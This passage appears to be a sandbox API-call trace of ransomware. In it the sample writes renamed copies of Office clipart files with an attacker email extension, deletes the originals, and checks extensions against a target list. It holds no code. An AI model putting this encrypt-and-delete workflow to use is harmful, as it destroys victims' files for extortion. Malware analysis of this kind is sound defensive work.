lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesRead=0x2d1fed4*=0x0, lpOverlapped=0x0) returned 1 [0217.071] WriteFile (in: hFile=0x1f4, lpBuffer=0x3800020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesWritten=0x2d1fc9c*=0xec, lpOverlapped=0x0) returned 1 [0217.071] SetEndOfFile (hFile=0x1f4) returned 1 [0217.207] CloseHandle (hObject=0x1f4) returned 1 [0217.207] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec8 | out: lpNewFilePointer=0x0) returned 1 [0217.207] SetEndOfFile (hFile=0x214) returned 1 [0217.207] CloseHandle (hObject=0x214) returned 1 [0217.207] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09664_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0217.208] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09664_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd09664_.wmf")) returned 1 [0217.481] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09664_.WMF") returned 63 [0217.481] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09664_.WMF") returned 63 [0217.481] lstrlenW (lpString=".doc") returned 4 [0217.481] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0217.481] lstrlenW (lpString=".docx") returned 5 [0217.481] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0217.481] lstrlenW (lpString=".pdf") returned 4 [0217.481] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0217.481] lstrlenW (lpString=".xls") returned 4 [0217.481] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0217.481] lstrlenW (lpString=".xlsx") returned 5 [0217.481] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0217.481] lstrlenW (lpString=".ppt") returned 4 [0217.481] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0217.481] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09664_.WMF") returned 63 [0217.481] lstrlenW (lpString=".zip") returned 4 [0217.482] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0217.482] lstrlenW (lpString=".rar") returned 4 [0217.482] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0217.482] lstrlenW (lpString=".bz2") returned 4 [0217.482] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0217.482] lstrlenW (lpString=".7z") returned 3 [0217.482] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0217.482] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09664_.WMF") returned 63 [0217.482] lstrlenW (lpString=".dbf") returned 4 [0217.482] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0217.482] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09664_.WMF") returned 63 [0217.482] lstrlenW (lpString=".1cd") returned 4 [0217.482] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0217.482] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09664_.WMF") returned 63 [0217.482] lstrlenW (lpString=".jpg") returned 4 [0217.482] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0217.878] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec8 | out: lpNewFilePointer=0x0) returned 1 [0217.878] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec8 | out: lpNewFilePointer=0x0) returned 1 [0217.878] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00045_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00045_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x21c [0217.878] GetLastError () returned 0x0 [0217.878] ReadFile (in: hFile=0x204, lpBuffer=0x3800020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fed4, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesRead=0x2d1fed4*=0x1eb6, lpOverlapped=0x0) returned 1 [0217.880] WriteFile (in: hFile=0x21c, lpBuffer=0x3800020*, nNumberOfBytesToWrite=0x1ec0, lpNumberOfBytesWritten=0x2d1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesWritten=0x2d1fc9c*=0x1ec0, lpOverlapped=0x0) returned 1 [0217.880] ReadFile (in: hFile=0x204, lpBuffer=0x3800020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fed4, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesRead=0x2d1fed4*=0x0, lpOverlapped=0x0) returned 1 [0217.880] WriteFile (in: hFile=0x21c, lpBuffer=0x3800020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesWritten=0x2d1fc9c*=0xec, lpOverlapped=0x0) returned 1 [0217.881] SetEndOfFile (hFile=0x21c) returned 1 [0217.881] CloseHandle (hObject=0x21c) returned 1 [0217.881] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec8 | out: lpNewFilePointer=0x0) returned 1 [0217.881] SetEndOfFile (hFile=0x204) returned 1 [0217.881] CloseHandle (hObject=0x204) returned 1 [0217.882] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00045_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0217.882] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00045_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00045_.wmf")) returned 1 [0217.882] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00045_.WMF") returned 63 [0217.882] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00045_.WMF") returned 63 [0217.882] lstrlenW (lpString=".doc") returned 4 [0217.882] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0217.882] lstrlenW (lpString=".docx") returned 5 [0217.882] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0217.882] lstrlenW (lpString=".pdf") returned 4 [0217.882] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0217.882] lstrlenW (lpString=".xls") returned 4 [0217.882] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0217.882] lstrlenW (lpString=".xlsx") returned 5 [0217.882] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0217.882] lstrlenW (lpString=".ppt") returned 4 [0217.882] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0217.882] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00045_.WMF") returned 63 [0217.882] lstrlenW (lpString=".zip") returned 4 [0217.882] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0217.882] lstrlenW (lpString=".rar") returned 4 [0217.882] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0217.882] lstrlenW (lpString=".bz2") returned 4 [0217.882] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0217.882] lstrlenW (lpString=".7z") returned 3 [0217.882] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0217.882] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00045_.WMF") returned 63 [0217.882] lstrlenW (lpString=".dbf") returned 4 [0217.882] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0217.882] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00045_.WMF") returned 63 [0217.883] lstrlenW (lpString=".1cd") returned 4 [0217.883] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0217.883] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00045_.WMF") returned 63 [0217.883] lstrlenW (lpString=".jpg") returned 4 [0217.883] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0217.883] GetFileSizeEx (in: hFile=0x204, lpFileSize=0x2d1ff1c | out: lpFileSize=0x2d1ff1c*=812) returned 1 [0217.883] CloseHandle (hObject=0x204) returned 1 [0217.885] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00296_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00296_.wmf")) returned 0x20 [0217.885] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00296_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00296_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0217.885] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00296_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00296_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0217.885] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec8 | out: lpNewFilePointer=0x0) returned 1 [0217.885] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec8 | out: lpNewFilePointer=0x0) returned 1 [0217.885] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00296_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00296_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x21c [0217.885] GetLastError () returned 0x0 [0217.885] ReadFile (in: hFile=0x204, lpBuffer=0x3800020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fed4, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesRead=0x2d1fed4*=0x32c, lpOverlapped=0x0) returned 1 [0217.893] WriteFile (in: hFile=0x21c, lpBuffer=0x3800020*, nNumberOfBytesToWrite=0x330, lpNumberOfBytesWritten=0x2d1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesWritten=0x2d1fc9c*=0x330, lpOverlapped=0x0) returned 1 [0217.894] ReadFile (in: hFile=0x204, lpBuffer=0x3800020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fed4, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesRead=0x2d1fed4*=0x0, lpOverlapped=0x0) returned 1 [0217.894] WriteFile (in: hFile=0x21c, lpBuffer=0x3800020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesWritten=0x2d1fc9c*=0xec, lpOverlapped=0x0) returned 1 [0217.894] SetEndOfFile (hFile=0x21c) returned 1 [0217.894] CloseHandle (hObject=0x21c) returned 1 [0217.894] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec8 | out: lpNewFilePointer=0x0) returned 1 [0217.894] SetEndOfFile (hFile=0x204) returned 1 [0217.895] CloseHandle (hObject=0x204) returned 1 [0217.895] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00296_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0217.895] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00296_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00296_.wmf")) returned 1 [0217.895] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00296_.WMF") returned 63 [0217.895] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00296_.WMF") returned 63 [0217.895] lstrlenW (lpString=".doc") returned 4 [0217.895] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0217.895] lstrlenW (lpString=".docx") returned 5 [0217.895] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0217.895] lstrlenW (lpString=".pdf") returned 4 [0217.895] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0217.895] lstrlenW (lpString=".xls") returned 4 [0217.896] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0217.896] lstrlenW (lpString=".xlsx") returned 5 [0217.896] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0217.896] lstrlenW (lpString=".ppt") returned 4 [0217.896] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0217.896] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00296_.WMF") returned 63 [0217.896] lstrlenW (lpString=".zip") returned 4 [0217.896] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0217.896] lstrlenW (lpString=".rar") returned 4 [0217.896] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0217.896] lstrlenW (lpString=".bz2") returned 4 [0217.896] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0217.896] lstrlenW (lpString=".7z") returned 3 [0217.896] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0217.896] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00296_.WMF") returned 63 [0217.896] lstrlenW (lpString=".dbf") returned 4 [0217.896] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0217.896] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00296_.WMF") returned 63 [0217.896] lstrlenW (lpString=".1cd") returned 4 [0217.896] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0217.896] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00296_.WMF") returned 63 [0217.896] lstrlenW (lpString=".jpg") returned 4 [0217.896] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0217.896] GetFileSizeEx (in: hFile=0x204, lpFileSize=0x2d1ff1c | out: lpFileSize=0x2d1ff1c*=27050) returned 1 [0217.896] CloseHandle (hObject=0x204) returned 1 [0217.897] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00392_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00392_.wmf")) returned 0x20 [0217.897] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00392_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00392_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0217.897] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00392_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00392_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0217.897] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec8 | out: lpNewFilePointer=0x0) returned 1 [0217.897] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec8 | out: lpNewFilePointer=0x0) returned 1 [0217.897] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00392_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00392_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x21c [0217.897] GetLastError () returned 0x0 [0217.897] ReadFile (in: hFile=0x204, lpBuffer=0x3800020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fed4, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesRead=0x2d1fed4*=0x69aa, lpOverlapped=0x0) returned 1 [0217.903] WriteFile (in: hFile=0x21c, lpBuffer=0x3800020*, nNumberOfBytesToWrite=0x69b0, lpNumberOfBytesWritten=0x2d1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesWritten=0x2d1fc9c*=0x69b0, lpOverlapped=0x0) returned 1 [0217.904] ReadFile (in: hFile=0x204, lpBuffer=0x3800020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fed4, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesRead=0x2d1fed4*=0x0, lpOverlapped=0x0) returned 1 [0217.904] WriteFile (in: hFile=0x21c, lpBuffer=0x3800020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesWritten=0x2d1fc9c*=0xec, lpOverlapped=0x0) returned 1 [0217.904] SetEndOfFile (hFile=0x21c) returned 1 [0217.905] CloseHandle (hObject=0x21c) returned 1 [0217.905] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec8 | out: lpNewFilePointer=0x0) returned 1 [0217.905] SetEndOfFile (hFile=0x204) returned 1 [0217.905] CloseHandle (hObject=0x204) returned 1 [0217.905] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00392_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0217.906] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00392_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00392_.wmf")) returned 1 [0217.906] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00392_.WMF") returned 63 [0217.906] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00392_.WMF") returned 63 [0217.906] lstrlenW (lpString=".doc") returned 4 [0217.906] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0217.906] lstrlenW (lpString=".docx") returned 5 [0217.906] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0217.906] lstrlenW (lpString=".pdf") returned 4 [0217.906] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0217.906] lstrlenW (lpString=".xls") returned 4 [0217.906] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0217.906] lstrlenW (lpString=".xlsx") returned 5 [0217.906] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0217.906] lstrlenW (lpString=".ppt") returned 4 [0217.906] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0217.906] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00392_.WMF") returned 63 [0217.906] lstrlenW (lpString=".zip") returned 4 [0217.906] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0217.906] lstrlenW (lpString=".rar") returned 4 [0217.906] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0217.906] lstrlenW (lpString=".bz2") returned 4 [0217.906] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0217.906] lstrlenW (lpString=".7z") returned 3 [0217.906] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0217.906] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00392_.WMF") returned 63 [0217.906] lstrlenW (lpString=".dbf") returned 4 [0217.906] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0217.906] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00392_.WMF") returned 63 [0217.906] lstrlenW (lpString=".1cd") returned 4 [0217.906] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0217.906] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00392_.WMF") returned 63 [0217.906] lstrlenW (lpString=".jpg") returned 4 [0217.906] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0217.907] GetFileSizeEx (in: hFile=0x204, lpFileSize=0x2d1ff1c | out: lpFileSize=0x2d1ff1c*=9590) returned 1 [0217.907] CloseHandle (hObject=0x204) returned 1 [0217.907] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00525_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00525_.wmf")) returned 0x20 [0217.907] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00525_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00525_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0217.907] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00525_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00525_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0217.907] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec8 | out: lpNewFilePointer=0x0) returned 1 [0217.907] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec8 | out: lpNewFilePointer=0x0) returned 1 [0217.907] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00525_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00525_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x21c [0217.907] GetLastError () returned 0x0 [0217.907] ReadFile (in: hFile=0x204, lpBuffer=0x3800020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fed4, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesRead=0x2d1fed4*=0x2576, lpOverlapped=0x0) returned 1 [0217.919] WriteFile (in: hFile=0x21c, lpBuffer=0x3800020*, nNumberOfBytesToWrite=0x2580, lpNumberOfBytesWritten=0x2d1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesWritten=0x2d1fc9c*=0x2580, lpOverlapped=0x0) returned 1 [0217.919] ReadFile (in: hFile=0x204, lpBuffer=0x3800020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fed4, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesRead=0x2d1fed4*=0x0, lpOverlapped=0x0) returned 1 [0217.919] WriteFile (in: hFile=0x21c, lpBuffer=0x3800020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesWritten=0x2d1fc9c*=0xec, lpOverlapped=0x0) returned 1 [0217.919] SetEndOfFile (hFile=0x21c) returned 1 [0217.919] CloseHandle (hObject=0x21c) returned 1 [0217.920] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec8 | out: lpNewFilePointer=0x0) returned 1 [0217.920] SetEndOfFile (hFile=0x204) returned 1 [0217.920] CloseHandle (hObject=0x204) returned 1 [0217.920] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00525_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0217.921] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00525_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00525_.wmf")) returned 1 [0217.921] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00525_.WMF") returned 63 [0217.921] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00525_.WMF") returned 63 [0217.921] lstrlenW (lpString=".doc") returned 4 [0217.921] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0217.921] lstrlenW (lpString=".docx") returned 5 [0217.921] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0217.921] lstrlenW (lpString=".pdf") returned 4 [0217.921] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0217.921] lstrlenW (lpString=".xls") returned 4 [0217.921] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0217.921] lstrlenW (lpString=".xlsx") returned 5 [0217.921] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0217.921] lstrlenW (lpString=".ppt") returned 4 [0217.921] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0217.921] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00525_.WMF") returned 63 [0217.921] lstrlenW (lpString=".zip") returned 4 [0217.921] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0217.921] lstrlenW (lpString=".rar") returned 4 [0217.921] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0217.921] lstrlenW (lpString=".bz2") returned 4 [0217.921] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0217.921] lstrlenW (lpString=".7z") returned 3 [0217.921] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0217.921] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00525_.WMF") returned 63 [0217.921] lstrlenW (lpString=".dbf") returned 4 [0217.921] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0217.921] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00525_.WMF") returned 63 [0217.921] lstrlenW (lpString=".1cd") returned 4 [0217.921] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0217.921] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00525_.WMF") returned 63 [0217.921] lstrlenW (lpString=".jpg") returned 4 [0217.921] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0217.922] GetFileSizeEx (in: hFile=0x204, lpFileSize=0x2d1ff1c | out: lpFileSize=0x2d1ff1c*=11500) returned 1 [0217.922] CloseHandle (hObject=0x204) returned 1 [0217.922] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00648_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00648_.wmf")) returned 0x20 [0217.922] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00648_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program 